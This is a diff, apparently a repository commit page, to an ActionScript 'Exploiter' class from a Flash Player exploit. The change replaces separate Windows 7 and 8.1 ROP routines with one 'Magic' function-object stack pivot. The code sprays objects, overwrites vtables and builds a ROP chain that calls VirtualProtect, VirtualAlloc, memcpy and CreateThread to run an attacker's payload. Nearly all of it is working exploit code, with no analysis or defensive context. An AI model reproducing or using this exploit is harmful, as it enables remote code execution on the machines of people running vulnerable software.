@@ -11,27 +11,33 @@ package
11
11
private var eba: ExploitByteArray
12
12
private var payload: ByteArray
13
13
private var platform: String
14
- private var op_system: String
15
14
private var pos: uint
16
15
private var byte_array_object: uint
17
16
private var main: uint
18
17
private var stack_object: uint
19
18
private var payload_space_object: uint
20
19
private var buffer_object: uint
20
+ private var magic: uint
21
+ private var magic_arg0: uint
22
+ private var magic_arg1: uint
23
+ private var magic_object: uint
24
+ private var magic_table: uint
21
25
private var buffer: uint
22
26
private var vtable: uint
23
27
private var stack_address: uint
24
28
private var payload_address: uint
29
+ private var stub_address: uint
30
+ private var stub_space_object: uint
31
+ private var stub: Vector .< uint > = new Vector .< uint > (8 )
25
32
private var stack: Vector .< uint > = new Vector .< uint > (0x6400 )
26
33
private var payload_space: Vector .< uint > = new Vector .< uint > (0x6400 )
27
34
private var spray: Vector .< Object > = new Vector .< Object > (90000 )
28
35
29
- public function Exploiter (exp :Exploit , pl :String , os : String , p :ByteArray , uv :Vector .<uint>, uv_length :uint ):void
36
+ public function Exploiter (exp :Exploit , pl :String , p :ByteArray , uv :Vector .<uint>, uv_length :uint ):void
30
37
{
31
38
exploit = exp
32
39
payload = p
33
40
platform = pl
34
- op_system = os
35
41
36
42
ev = new ExploitVector(uv, uv_length)
37
43
if (! ev. is_ready()) return
@@ -49,16 +55,27 @@ package
49
55
cleanup()
50
56
}
51
57
58
+ static function Magic (... a){}
59
+
52
60
private function spray_objects ():void
53
61
{
54
62
Logger. log ("[*] Exploiter - spray_objects()" )
63
+
64
+ // mov eax,[esp+0x4]
65
+ // xchg eax,esp
66
+ // rets
67
+ stub[ 0 ] = 0x0424448B
68
+ stub[ 1 ] = 0x0000C394
69
+
55
70
for (var i: uint = 0 ; i < spray. length ; i++ )
56
71
{
57
72
spray[ i] = new Vector .< Object > (VECTOR_OBJECTS_LENGTH )
58
73
spray[ i][ 0 ] = eba. ba
59
74
spray[ i][ 1 ] = exploit
60
75
spray[ i][ 2 ] = stack
61
76
spray[ i][ 3 ] = payload_space
77
+ spray[ i][ 4 ] = Magic
78
+ spray[ i][ 5 ] = stub
62
79
}
63
80
}
64
81
@@ -76,6 +93,8 @@ package
76
93
main = ev. at(pos + 1 ) - 1
77
94
stack_object = ev. at(pos + 2 ) - 1
78
95
payload_space_object = ev. at(pos + 3 ) - 1
96
+ magic = ev. at(pos + 4 ) - 1
97
+ stub_space_object = ev. at(pos + 5 ) - 1
79
98
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000 ) {
80
99
return false
81
100
}
@@ -98,6 +117,11 @@ package
98
117
vtable = ev. read(main)
99
118
stack_address = ev. read(stack_object + 0x18 )
100
119
payload_address = ev. read(payload_space_object + 0x18 )
120
+ stub_address = ev. read(stub_space_object + 0x18 )
121
+ magic_object = ev. read(ev. read(ev. read(ev. read(magic + 8 ) + 0x14 ) + 4 ) + 0xb0 )
122
+ magic_table = ev. read(magic_object)
123
+ magic_arg0 = ev. read(magic + 0x1c )
124
+ magic_arg1 = ev. read(magic + 0x20 )
101
125
}
102
126
103
127
private function corrupt_byte_array ():void
@@ -138,13 +162,7 @@ package
138
162
if (platform == "linux" ) {
139
163
do_rop_linux()
140
164
} else if (platform == "win" ) {
141
- if (op_system == "Windows 8.1" ) {
142
- do_rop_windows8()
143
- } else if (op_system == "Windows 7" ) {
144
- do_rop_windows()
145
- } else {
146
- return
147
- }
165
+ do_rop_windows()
148
166
} else {
149
167
return
150
168
}
@@ -167,21 +185,20 @@ package
167
185
var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , ntdll)
168
186
169
187
// Continuation of execution
170
- eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable , false ) // mov eax, vtable
171
- eba. write(0 , "\x bb" , false ); eba. write(0 , main , false ) // mov ebx, main
188
+ eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , magic_table , false ) // mov eax, vtable
189
+ eba. write(0 , "\x bb" , false ); eba. write(0 , magic_object , false ) // mov ebx, main
172
190
eba. write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
173
- eba. write(0 , "\x 87\x f4\x c3 " , false ) // xchg esp, esi # ret
191
+ eba. write(0 , "\x 87\x f4\x c2 \x 10 \x 00 " , false ) // xchg esi, esp # ret 0x10
174
192
175
193
// Put the payload (command) in memory
176
194
eba. write(payload_address + 8 , payload, true ); // payload
177
195
178
- // Put the fake vtabe / stack on memory
179
- eba. write(stack_address + 0x18070 , xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
180
- eba. write(stack_address + 0x180a4 , xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
196
+ // Put the fake stack on memory
181
197
eba. write(stack_address + 0x18000 , xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
198
+
182
199
eba. write(0 , virtualprotect)
183
-
184
- // VirtualProtect
200
+
201
+ // VirtualProtect
185
202
eba. write(0 , virtualalloc)
186
203
eba. write(0 , buffer + 0x10 )
187
204
eba. write(0 , 0x1000 )
@@ -210,76 +227,27 @@ package
210
227
eba. write(0 , 0 )
211
228
eba. write(0 , 0 )
212
229
eba. write(0 , 0 )
213
-
214
- eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
215
- exploit. toString () // call method in the fake vtable
216
- }
217
-
218
- private function do_rop_windows8 ():void
219
- {
220
- Logger. log ("[*] Exploiter - do_rop_windows8()" )
221
- var pe: PE = new PE (eba)
222
- var flash: uint = pe. base (vtable)
223
- var winmm: uint = pe. module ("winmm.dll" , flash)
224
- var advapi32: uint = pe. module ("advapi32.dll" , flash)
225
- var kernelbase: uint = pe. module ("kernelbase.dll" , advapi32)
226
- var kernel32: uint = pe. module ("kernel32.dll" , winmm)
227
- var ntdll: uint = pe. module ("ntdll.dll" , kernel32)
228
- var virtualprotect: uint = pe. procedure("VirtualProtect" , kernelbase)
229
- var virtualalloc: uint = pe. procedure("VirtualAlloc" , kernelbase)
230
- var createthread: uint = pe. procedure("CreateThread" , kernelbase)
231
- var memcpy: uint = pe. procedure("memcpy" , ntdll)
232
- var xchgeaxespret: uint = pe. gadget("c394" , 0x0000ffff , flash)
233
- var xchgeaxesiret: uint = pe. gadget("c396" , 0x0000ffff , flash)
234
- var addespcret: uint = pe. gadget("c30cc483" , 0xffffffff , ntdll)
235
-
236
- // Continuation of execution
237
- eba. write(buffer + 0x10 , "\x b8" , false ); eba. write(0 , vtable, false ) // mov eax, vtable
238
- eba. write(0 , "\x bb" , false ); eba. write(0 , main, false ) // mov ebx, main
239
- eba. write(0 , "\x 89\x 03" , false ) // mov [ebx], eax
240
- eba. write(0 , "\x 87\x f4\x c3" , false ) // xchg esp, esi # ret
241
-
242
- // Put the payload (command) in memory
243
- eba. write(payload_address + 8 , payload, true ); // payload
244
-
245
- // Put the fake vtabe / stack on memory
246
- eba. write(stack_address + 0x18070 , xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247
- eba. write(stack_address + 0x180a4 , xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248
- eba. write(stack_address + 0x18000 , xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249
- eba. write(0 , virtualprotect)
250
-
251
- // VirtualProtect
252
- eba. write(0 , virtualalloc)
253
- eba. write(0 , buffer + 0x10 )
254
- eba. write(0 , 0x1000 )
255
- eba. write(0 , 0x40 )
256
- eba. write(0 , buffer + 0x8 ) // Writable address (4 bytes)
257
-
258
- // VirtualAlloc
259
- eba. write(0 , memcpy)
260
- eba. write(0 , 0x7ffd0000 )
261
- eba. write(0 , 0x4000 )
262
- eba. write(0 , 0x1000 | 0x2000 ) // MEM_COMMIT | MEM_RESERVE
263
- eba. write(0 , 0x40 ) // PAGE_EXECUTE_READWRITE
264
-
265
- // memcpy
266
- eba. write(0 , addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267
- eba. write(0 , 0x7ffd0000 )
268
- eba. write(0 , payload_address + 8 )
269
- eba. write(0 , payload. length )
270
-
271
- // CreateThread
272
- eba. write(0 , createthread)
273
- eba. write(0 , buffer + 0x10 ) // return to fix things
274
- eba. write(0 , 0 )
275
- eba. write(0 , 0 )
276
- eba. write(0 , 0x7ffd0000 )
277
- eba. write(0 , 0 )
278
- eba. write(0 , 0 )
279
- eba. write(0 , 0 )
230
+
231
+ for (var i: uint ; i < 0x100 ; i++ ) {
232
+ eba. write(stack_address + 8 + (i * 4 ), eba. read(magic_table - 0x80 + i * 4 ))
233
+ }
280
234
281
- eba. write(main, stack_address + 0x18000 ) // overwrite with fake vtable
282
- exploit. toString () // call method in the fake vtable
235
+ // VirtualProtect the stub with a *reliable* stackpivot
236
+ eba. write(stack_address + 8 + 0x80 + 28 , virtualprotect)
237
+ eba. write(magic_object, stack_address + 8 + 0x80 ); // overwrite vtable (needs to be restored)
238
+ eba. write(magic + 0x1c , stub_address)
239
+ eba. write(magic + 0x20 , 0x10 )
240
+ var args : Array = new Array (0x41 )
241
+ Magic. call . apply (null , args );
242
+
243
+ // Call to our stackpivot and init the rop chain
244
+ eba. write(stack_address + 8 + 0x80 + 28 , stub_address + 8 )
245
+ eba. write(magic_object, stack_address + 8 + 0x80 ); // overwrite vtable (needs to be restored)
246
+ eba. write(magic + 0x1c , stack_address + 0x18000 )
247
+ Magic. call . apply (null , null );
248
+ eba. write(magic_object, magic_table);
249
+ eba. write(magic + 0x1c , magic_arg0)
250
+ eba. write(magic + 0x20 , magic_arg1)
283
251
}
284
252
285
253
private function do_rop_linux ():void
0 commit comments